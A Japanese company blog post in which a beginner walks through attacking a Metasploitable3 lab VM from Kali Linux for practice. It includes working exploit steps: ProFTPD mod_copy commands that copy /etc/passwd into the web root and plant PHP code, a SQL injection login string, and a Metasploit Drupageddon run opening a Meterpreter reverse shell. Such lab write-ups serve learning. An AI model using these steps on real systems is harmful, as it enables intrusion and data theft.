grasys blog

ハッキングラボを手に入れたのでMetasploitable3の攻略に挑んでみた

初めまして、大島です。

業務と全然関係のない内容で恐縮ですが、趣味で個人的にやっているセキュリティ系のお遊びです。
私自身、最近ハッキングラボを手にした初心者なので初心者向けの内容です。

最初に注意事項です。
この記事で紹介しているMetasploitを使用した攻撃、コマンドやスクリプトなどによる攻撃は必ず自分の管理下にあるサーバーに対して行ってください。

IPUSIRON氏の著書「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」を参考にVirtualboxでハッキングラボを作成しました。

実は本はまだ途中で、Kali LinuxとMetasploitable2を使って少しハッキング体験をした後、自分で四苦八苦してやりたかったのでMetasploitable3に手を出しました。

詰まったら本に戻ってほうほう言っています。

記事の中では次のことをやっています。

  • /etc/passwdを閲覧する
  • SQLインジェクションで不正ログインする
  • 強制ブラウズでファイルを閲覧する
  • MetasploitのExploitを使ってmeterpreferで接続する

本当はSSHで接続したかったですが難しかったです。

今回のこの内容で終わらずこれからも顔を歪ませながらトライしたいと思います。

Hack The Boxもいずれ手を出したいですね!!

構成

バージョン
Kali Linux : 2023.1(kali-rolling)
Metasploitable3 : ubuntu1404

記事で出てくるツールの紹介

Kali Linux

Kali Linux(カーリー リナックス、カリ リナックス)はデジタル・フォレンジックやペネトレーションテスト用に設計された、Debian派生のLinuxディストリビューションである

https://ja.wikipedia.org/wiki/Kali_Linux

Metasploitable

Metasploitというペネトレーションテスト用のフレームワークを気軽に試せる、やられサーバーです。
Metasploitは必ず自前サーバーに対して行ってください。
https://github.com/rapid7/metasploitable3

Meterprefer

Meterpreter は、2004 年から Metasploit の一部となっている高度なペイロードです。

https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html

バックドアを仕掛けられます。

Drupal

Drupal( [ˈdruːpəl])は、プログラミング言語PHPで記述されたフリーでオープンソースのモジュラー式フレームワークであり、コンテンツ管理システム (CMS) である。

https://ja.wikipedia.org/wiki/Drupal

有名なCMSにはWordpressがありますね。

Continuum

Apache Continuum™ は、自動ビルド、リリース管理、ロールベースのセキュリティ、一般的なビルド ツールやソース管理管理システムとの統合などの機能を備えたエンタープライズ対応の継続的統合サーバーです。

https://continuum.apache.org/

2014年を最後に更新されていませんね。
ウィキペディアには廃止されたとあります。

phpMyAdmin

phpMyAdmin はPHP で書かれたフリー ソフトウェア ツールで、 Web 上でMySQLの管理を処理することを目的としています。phpMyAdmin は、MySQL および MariaDB 上の幅広い操作をサポートします。

https://www.phpmyadmin.net/

MySQLのDBをGUIで操作する場合によく使われていますね。

Metasploitable3の構築

Metasploitable3をVirtualboxを使って構築します。
こちらのリンク先からイメージをダウンロードして、「仮想アプライアンスのインポート」でインポートしました。

ログインユーザーとパスワードはvagrant/vagrantです。

設定を変更

ネットワークの設定を変更します。

NATとホストオンリーアダプターが設定されていますが、ネットワークに接続する予定がないので、ホストオンリーアダプターのみに変更しました。

次に、IPアドレスを固定化します。

/etc/networking/interfacesを以下のように編集します。

...(略)
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.56.20
netmask 255.255.255.0
gateway 192.168.56.1
...

編集したら再起動してkaliからpingが通るか確認します。

┌──(kali㉿kali)-[~]
└─$ ping 192.168.56.20 -c 3
PING 192.168.56.20 (192.168.56.20) 56(84) bytes of data.
64 bytes from 192.168.56.20: icmp_seq=1 ttl=64 time=0.679 ms
64 bytes from 192.168.56.20: icmp_seq=2 ttl=64 time=0.730 ms
64 bytes from 192.168.56.20: icmp_seq=3 ttl=64 time=0.739 ms

--- 192.168.56.20 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2038ms
rtt min/avg/max/mdev = 0.679/0.716/0.739/0.026 ms

大丈夫そうです。

いざ攻略挑戦

まずはポートスキャンを実行します。

┌──(root㉿kali)-[~]
└─# nmap -sV -O -p- 192.168.56.20
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 17:01 JST
Nmap scan report for 192.168.56.20
Host is up (0.00067s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
6697/tcp open   irc         UnrealIRCd
8080/tcp open   http        Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:B0:C1:83 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.76 seconds

/etc/passwdの中身を表示する

サービスの脆弱性を調べるとProFTP1.3.5に関して脆弱性が出てきました。

ProFTPD 1.3.5 の mod_copy モジュールを使用すると、リモート攻撃者が site cpfr および site cpto コマンドを介して任意のファイルを読み書きできるようになります。

https://www.cvedetails.com/cve/CVE-2015-3306/

正直、site cpfrコマンドとsite cpto が関係あることしか分かりませんでした。
コマンドも初めて見て使い方も知らないので使ってみます。
ちなみにcpfrcopy fromcptocopy toですね。

Kali Linux

┌──(root㉿kali)-[~]
└─# nc 192.168.56.20 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.20]
SITE CPFR /proc/self/cmdline
350 File or directory exists, ready for destination name
SITE CPTO /tmp/cmdline
250 Copy successful

Metasploitable3

$ls -l /tmp/cmdline
-rw-r--r-- 1 nobody nogroup 52 May 24 11:33 cmdline

ターゲットサーバー内でファイルがコピーできるコマンドで、所有ユーザー/グループはnobody:nogroupになることが分かりました。

このコマンドを使うと、ウェブサーバーにて任意のファイルの中身が閲覧できることと、リモートでコマンドを実行することができるようです。

両方やってみます。

ポートスキャンの結果からMetasploitable3のサーバーではApacheが動いていることが分かります。
このコマンドを使用して/etc/passwdをサイトディレクトリに配置するとブラウザでファイルの中身を閲覧することができます。

この後の手順はExploitDBのコードを参考にしました。
https://www.exploit-db.com/exploits/37262

┌──(root㉿kali)-[~]
└─# nc 192.168.56.20 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.20]
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/passwd.txt
250 Copy successful

(ユーザーが分かったので簡単なパスワードリストを作成してhydraでsshを辞書攻撃してみましたがだめでした。人生そんなに甘くはありませんね。。。)

リモートでPHPのコードを実行するほうもやってみます。
phpinfo()を表示させています。

┌──(root㉿kali)-[~]
└─# nc 192.168.56.20 21          
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.20]
SITE CPFR /proc/self/cmdline
350 File or directory exists, ready for destination name
SITE CPTO /tmp/.<?php phpinfo(); ?>    
250 Copy successful
SITE CPFR /tmp/.<?php phpinfo(); ?>
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/test.php
250 Copy successful

なぜこれでコードが実行できているのか最初分かりませんでしたが単純なことでした。

サイトディレクトリにコピーしたファイルの内容を見てみます。

$ cat /var/www/html/test.php 
proftpd: 192.168.56.10:37734: SITE CPTO /tmp/.<?php phpinfo(); ?>

一番きれいで理想の形は

<?php phpinfo(); ?>

なので余分な文字列

proftpd: 192.168.56.10:37734: SITE CPTO /tmp/.

も表示されてしまいますが、コードの実行には影響はないので気にはなりますが無視しましょう。

/proc/[pid]/cmdlineにはプロセスを起動したときのコマンドと引数が入ります。

selfは自プロセスを指します。この時はproftpdですね。

実行コマンドにコードを含めることで、コードを含んだコマンドを永続的にファイルとして保存(/proc/self/cmdlineは一時的なものなので)、それをサイトディレクトリに配置することでリモートからコードを実行できるということでした。

SQLインジェクションを試す

ポートスキャンの結果からポート8035008080でウェブサービスが公開されていることが分かります。

それぞれSQLインジェクションを試しましたが、ログインできたのはhttp://192.168.56.20/payroll_app.phpのみでした。

User: admin
Password: ' OR 'A' = 'A

残念ながら大した内容はありませんでした。

強制ブラウズ

http://192.168.56.20:80/drupalではDrupalが動いていました。

バージョンを知りたいです。
バージョンを知る方法で検索したところdrupal/CHANGELOG.txtで知ることができるそうなので見てみましょう。

http://192.168.56.20:80/drupal/CHANGELOG.txt

バージョンは7.5でした。
脆弱性で調べてもあまり出てきませんね。

このあと詰まりに詰まってmsfconsoleに手を出しました。
学習も兼ねているのでフレームワークを使ってどーんというのをあえて避けていたんですが、なんとかアクセスしたくて我慢できませんでした。

便利なのだからフレームワークはじゃんじゃん使っていっていい派ですが、なんかできちゃったを避けたかったんですよね。

リモートからサーバーにアクセス

Metasploitを起動します。

msfconsole

DrupalのExploitを検索します。

msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

2番のmulti/http/drupal_drupageddonを使わせてもらいましょう。RankはExcellentです。(Excellent!!!)

use multi/http/drupal_drupageddon

オプションを表示し、変更する変数を確認します。

msf6 exploit(multi/http/drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal_drupageddon):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.3.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)



View the full module info with the info, or info -d command.

RHOST、TARGETURI、LHOSTを変更しました。

set RHOST 192.168.56.20
set TARGETURI /drupal/
set LHOST 192.168.56.10

Exploit!!!!!

msf6 exploit(multi/http/drupal_drupageddon) > run

[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Sending stage (39927 bytes) to 192.168.56.20
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.20:50744) at 2023-05-29 16:57:44 +0900

meterpreter >

meterpreferで入れていますね。

ヘルプは?で表示できます。
psでプロセスを表示させたらcontiniuumのバージョンが分かりました。

次回に役に立つかな?

apache-continuum-1.4.2

これで終わります。

記事は少し切りの良い、サーバー内部にアクセスするところまでで終わってしまいましたが、DBにもアクセスできていないので私の戦いはまだまだ続きそうです。

少しでも同じく苦しんでいる人の助けになれば幸いです。

私は「王様達のヴァイキング」という漫画が好きなので、是枝くんに倣って、ハッカーやハッキングではなく、クラッカーやクラッキングと呼ぶのが好きです。


採用情報
お問い合わせ